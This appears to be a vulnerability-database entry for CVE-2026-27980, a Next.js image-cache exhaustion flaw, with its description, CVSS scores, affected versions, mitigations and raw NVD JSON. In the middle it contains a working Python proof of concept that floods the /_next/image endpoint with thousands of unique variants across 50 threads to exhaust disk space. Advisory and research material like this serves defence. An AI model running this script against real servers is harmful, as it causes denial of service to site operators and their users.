Security Vulnerability Report
中文
CVE-2026-27980 CVSS 7.5 HIGH

CVE-2026-27980

Published: 2026-03-18 01:16:05
Last Modified: 2026-03-18 19:52:54

Description

Next.js is a React framework for building full-stack web applications. Starting in version 10.0.0 and prior to version 16.1.7, the default Next.js image optimization disk cache (`/_next/image`) did not have a configurable upper bound, allowing unbounded cache growth. An attacker could generate many unique image-optimization variants and exhaust disk space, causing denial of service. This is fixed in version 16.1.7 by adding an LRU-backed disk cache with `images.maximumDiskCacheSize`, including eviction of least-recently-used entries when the limit is exceeded. Setting `maximumDiskCacheSize: 0` disables disk caching. If upgrading is not immediately possible, periodically clean `.next/cache/images` and/or reduce variant cardinality (e.g., tighten values for `images.localPatterns`, `images.remotePatterns`, and `images.qualities`).

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* - VULNERABLE
Next.js >= 10.0.0
Next.js < 16.1.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-27980 PoC - Next.js Image Cache Exhaustion DoS # This PoC demonstrates how an attacker can exhaust disk space by generating # unlimited unique image optimization variants import requests import concurrent.futures import time TARGET_URL = "http://target-server.com" IMAGE_URL = f"{TARGET_URL}/test-image.jpg" def generate_cache_entries(): """ Generate unique image variants by varying optimization parameters. Each unique combination creates a new cache entry on disk. """ variants_generated = 0 # Generate variants with different width values (1-10000) for width in range(1, 10001): params = { "url": IMAGE_URL, "w": width, # width parameter "q": 75, # quality "f": "webp" # format } try: # Request Next.js image optimization endpoint response = requests.get( f"{TARGET_URL}/_next/image", params=params, timeout=5 ) if response.status_code == 200: variants_generated += 1 if variants_generated % 100 == 0: print(f"Generated {variants_generated} unique variants...") except Exception as e: print(f"Error: {e}") return variants_generated def attack_with_varied_params(): """ Multi-dimensional parameter variation to maximize cache growth. Combines width, quality, format, and other parameters. """ combinations = [] # Width variations widths = list(range(100, 2000, 10)) # 190 width values # Quality variations qualities = list(range(10, 100, 5)) # 18 quality values # Format variations formats = ["webp", "avif", "jpeg", "png"] # Generate all combinations: 190 * 18 * 4 = 13,680 unique variants for w in widths: for q in qualities: for f in formats: combinations.append({"w": w, "q": q, "f": f}) print(f"Planning to generate {len(combinations)} unique variants") # Send requests in parallel to speed up attack with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor: futures = [] for combo in combinations: future = executor.submit(request_variant, combo) futures.append(future) completed = 0 for future in concurrent.futures.as_completed(futures): completed += 1 if completed % 1000 == 0: print(f"Progress: {completed}/{len(combinations)}") def request_variant(params): """Send single image optimization request.""" try: requests.get( f"{TARGET_URL}/_next/image", params={"url": IMAGE_URL, **params}, timeout=3 ) except: pass if __name__ == "__main__": print("Starting CVE-2026-27980 PoC - Next.js Cache Exhaustion Attack") print("Target:", TARGET_URL) print("-" * 50) start_time = time.time() variants = generate_cache_entries() elapsed = time.time() - start_time print(f"\nAttack completed in {elapsed:.2f} seconds") print(f"Generated {variants} unique cache entries") print("Check disk space on target server - it should be exhausted")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-27980", "sourceIdentifier": "[email protected]", "published": "2026-03-18T01:16:04.957", "lastModified": "2026-03-18T19:52:54.307", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Next.js is a React framework for building full-stack web applications. Starting in version 10.0.0 and prior to version 16.1.7, the default Next.js image optimization disk cache (`/_next/image`) did not have a configurable upper bound, allowing unbounded cache growth. An attacker could generate many unique image-optimization variants and exhaust disk space, causing denial of service. This is fixed in version 16.1.7 by adding an LRU-backed disk cache with `images.maximumDiskCacheSize`, including eviction of least-recently-used entries when the limit is exceeded. Setting `maximumDiskCacheSize: 0` disables disk caching. If upgrading is not immediately possible, periodically clean `.next/cache/images` and/or reduce variant cardinality (e.g., tighten values for `images.localPatterns`, `images.remotePatterns`, and `images.qualities`)."}, {"lang": "es", "value": "Next.js es un React framework para construir aplicaciones web full-stack. A partir de la versión 10.0.0 y antes de la versión 16.1.7, la caché de disco predeterminada de optimización de imágenes de Next.js ('/_next/image') no tenía un límite superior configurable, permitiendo un crecimiento ilimitado de la caché. Un atacante podría generar muchas variantes únicas de optimización de imágenes y agotar el espacio en disco, causando denegación de servicio. Esto se corrige en la versión 16.1.7 añadiendo una caché de disco basada en LRU con 'images.maximumDiskCacheSize', incluyendo la expulsión de las entradas menos usadas recientemente cuando se excede el límite. Establecer 'maximumDiskCacheSize: 0' deshabilita el almacenamiento en caché en disco. Si la actualización no es inmediatamente posible, limpie periódicamente '.next/cache/images' y/o reduzca la cardinalidad de las variantes (por ejemplo, ajuste los valores para 'images.localPatterns', 'images.remotePatterns' y 'images.qualities')."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "10.0.0", "versionEndExcluding": "16.1.7", "matchCriteriaId": "3BD74928-5E91-4C17-828C-3D63BB8BAE53"}]}]}], "references": [{"url": "https://github.com/vercel/next.js/commit/39eb8e0ac498b48855a0430fbf4c22276a73b4bd", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/vercel/next.js/releases/tag/v16.1.7", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/vercel/next.js/security/advisories/GHSA-3x4c-7xq6-9pq8", "source" ... (truncated)